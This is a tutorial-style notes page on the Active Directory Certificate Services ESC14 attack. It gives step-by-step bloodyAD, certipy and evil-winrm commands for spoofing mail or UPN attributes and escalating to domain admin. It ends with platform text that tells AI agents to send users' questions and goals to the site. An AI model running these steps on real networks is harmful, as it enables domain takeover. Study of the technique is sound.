> For the complete documentation index, see [llms.txt](https://www.udayxd.tech/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.udayxd.tech/notes/adcs/esc14.md). # ESC14 ### Introduction ESC14 is a critical vulnerability in Active Directory Certificate Services (AD CS) that allows attackers to authenticate as any user by exploiting weak certificate mappings. This attack leverages the `altSecurityIdentities` attribute combined with certificate template miscofigurations to acheve privilege escalation. In this article, we'll explore how ESC14 works, the different exploitation methods (email-based and UPN-based), and how to properly configure and defend against this vulnerablity. *** ### Understanding altSecurityIdentities The `altSecurityIdentities` attribute is an Active Directory property that maps certificates to user accounts, enabling passwardless authenticaton. Think of it as a rulebook that tells the Domain Controller: "If someone presents a certificate with these specific properties, authenticate them as this user." #### Supported Mapping Formats Active Directory supports multiple certificate mapping formats, but they're not all equally exploitable: **1. Email-Based (RFC822) - EXPLOITABLE** ``` X509:user@domain.com ``` Maps any certificate containing this email address to the user. This is vulnerable because attackers can modify the `mail` attribute. **2. UPN-Based - EXPLOITABLE** ``` X509:user@domain.com ``` Maps certificates containing this User Principal Name. Vulnerable because the `userPrincipalName` attribute can be modified. **3. Subject-Based - NOT EXPLOITABLE** ``` X509:CN=User Name,OU=Dept,DC=domain,DC=com ``` Requires exact Subject match. Not exploitable via ESC14 because the CA controls the Subject field based on the requesting user. **4. Issuer + Subject - NOT EXPLOITABLE** ``` X509:CN=CA-Name,DC=domain,DC=comCN=User ``` Requires specific CA and Subject. Both values are CA-controlled and cannot be spoofed. **5. Serial Number + Issuer - NOT EXPLOITABLE** ``` X509:1234567890CN=CA-Name,DC=domain,DC=com ``` The serial number is randomly generated by the CA and unpredictable. **6. Subject Key Identifier (SKI) - NOT EXPLOITABLE** ``` X509:a1b2c3d4e5f6... ``` SKI is cryptographically derived from the certificate's public key, completely CA-controlled. #### Why Only Email and UPN Are Exploitable? The key difference is **who controls the values**: * **Email/UPN**: Stored as LDAP attributes (`mail`, `userPrincipalName`) that users or administrators can modify * **Subject/Issuer/Serial/SKI**: Generated by the Certificate Authority during issuance, cannot be controlled by the requester When you request a certificate, the CA queries your LDAP attributes and blindly includes them in the certificate without verifying they actually belong to you. *** ### Setting altSecurityIdentities: Attacker Perspective #### Scenario 1: Empty altSecurityIdentities (Maximum Flexibility) If the target user has no `altSecurityIdentities` set AND you have write permissions on that user, you can set ANY format you control: ```bash # Set email-based mapping bloodyAD set object targetuser altSecurityIdentities -v "X509:attacker@domain.com" # Set UPN-based mapping bloodyAD set object targetuser altSecurityIdentities -v "X509:attacker@domain.com" # Set subject-based (useless for ESC14 but possible) bloodyAD set object targetuser altSecurityIdentities -v "X509:CN=attacker" ``` **Attack strategy**: Choose a format you can control (email or UPN), then modify your own controlled user's attributes to match. #### Scenario 2: Already Populated (Type Locked) If `altSecurityIdentities` is already set, you can only modify it to use the SAME type: **Already set to email:** ```bash # Original: X509:target@domain.com # You can change to: X509:differentemail@domain.com # You CANNOT change to: X509:CN=something (different type) ``` **Best approach**: Don't touch the target's `altSecurityIdentities` at all. Instead, modify a controlled user's attributes to match the existing mapping. *** ### How Certificate-Based Authentication Works When you present a certificate for authentication, the Domain Controller follows this priority: **Priority 1: Check for SID in certificate** If present, directly authenticate as that user (most secure). **Priority 2: Check altSecurityIdentities** Query LDAP for users whose `altSecurityIdentities` matches certificate properties (email, UPN, etc.). **Priority 3: Check UPN matching** Match certificate UPN with user's `userPrincipalName` attribute. **Priority 4: Check Subject matching** Match certificate Subject with user's Distinguished Name. The vulnerability occurs when certificates lack SID (due to `NoSecurityExtension` flag), forcing authentication to rely on weaker mappings like email or UPN. *** ### The ESC14 Attack Explained #### Core Vulnerability **Certificate Authorities trust LDAP attribute values without validation.** When a template requires email or UPN in certificates, the CA queries the requesting user's attributes and includes them as-is. The CA doesn't verify that these values actually belong to that user. #### Attack Flow 1. Target user (high-privileged) has: `altSecurityIdentities: X509:admin@corp.com` 2. Attacker controls low-privileged user who can enroll in vulnerable template 3. Attacker modifies controlled user's `mail` attribute: `mail: admin@corp.com` 4. Attacker requests certificate - CA includes the spoofed email 5. Certificate contains: Subject=lowpriv, Email=, No SID 6. Attacker authenticates - DC checks altSecurityIdentities, finds admin user 7. DC authenticates attacker as admin - privilege escalation complete! #### Why It Works * **No ownership validation**: CA doesn't verify email belongs to requesting user * **No SID binding**: Template's `NoSecurityExtension` flag removes SID from certificate * **Trusted mappings**: DC assumes altSecurityIdentities are legitimate * **Modifiable attributes**: Attackers often have permissions to change mail/UPN *** ### Prerequisites for ESC14 **1. Vulnerable Certificate Template** * Certificate Name Flag: `SubjectAltRequireEmail` OR `SubjectAltRequireUpn` * Enrollment Flag: `NoSecurityExtension` * Enrollment permissions for attacker-controlled user **2. Target User Configuration** * Has `altSecurityIdentities` set with email or UPN format * Higher privileges than attacker's current access **3. Attribute Modification Rights** * GenericAll, WriteDACL, or WriteProperty on controlled user * Ability to modify `mail` or `userPrincipalName` attribute **4. Certificate Enrollment Rights** * Controlled user can enroll in the vulnerable template *** ### Exploitation: Email-Based Attack #### Step 1: Reconnaissance Identify target with email-based mapping: ```bash netexec ldap dc.corp.com -u lowpriv -p pass \ --query "(sAMAccountName=admin)" altSecurityIdentities ``` Look for: `altSecurityIdentities: X509:admin@corp.com` #### Step 2: Find Vulnerable Template ```bash certipy find -vulnerable -u lowpriv -p pass -dc-ip 10.10.10.10 ``` Identify template with: * `SubjectAltRequireEmail` flag * `NoSecurityExtension` flag * Enrollment rights for your user #### Step 3: Modify Mail Attribute ```bash bloodyAD --host dc.corp.com -d corp.com -u lowpriv -p pass \ set object controlleduser mail -v admin@corp.com ``` Verify: ```bash bloodyAD get object controlleduser --attr mail ``` #### Step 4: Request Certificate ```bash certipy req -username controlleduser@corp.com -password pass \ -target dc.corp.com -ca corp-CA -template VulnerableTemplate ``` Output: Certificate saved as `controlleduser.pfx` #### Step 5: Verify Certificate Content ```bash openssl pkcs12 -in controlleduser.pfx -clcerts -nokeys -passin pass: | \ openssl x509 -text -noout ``` Check for: * Subject: CN=controlleduser * Email: (spoofed!) * No SID extension #### Step 6: Authenticate as Target ```bash sudo ntpdate dc.corp.com certipy auth -pfx controlleduser.pfx -username admin -dc-ip 10.10.10.10 ``` Result: TGT and NTLM hash for admin user obtained! #### Step 7: Use Credentials ```bash evil-winrm -i dc.corp.com -u admin -H ``` *** ### Exploitation: UPN-Based Attack The UPN-based attack is nearly identical, with only the attribute differing: #### Key Differences **Attribute modified**: `userPrincipalName` instead of `mail` **Template flag**: `SubjectAltRequireUpn` instead of `SubjectAltRequireEmail` **Certificate SAN**: UPN field instead of email field #### Attack Steps **Modify UPN instead of mail:** ```bash bloodyAD set object controlleduser userPrincipalName -v admin@corp.com ``` **Request certificate (same as email-based):** ```bash certipy req -username controlleduser@corp.com -password pass \ -target dc.corp.com -ca corp-CA -template VulnerableTemplate ``` **Authenticate (same process):** ```bash certipy auth -pfx controlleduser.pfx -username admin ``` #### Combined Approach For maximum reliability, modify both attributes: ```bash bloodyAD set object controlleduser mail -v admin@corp.com bloodyAD set object controlleduser userPrincipalName -v admin@corp.com ``` This ensures success regardless of which field the template includes. *** ## References 1. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://www.udayxd.tech/notes/adcs/esc14.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.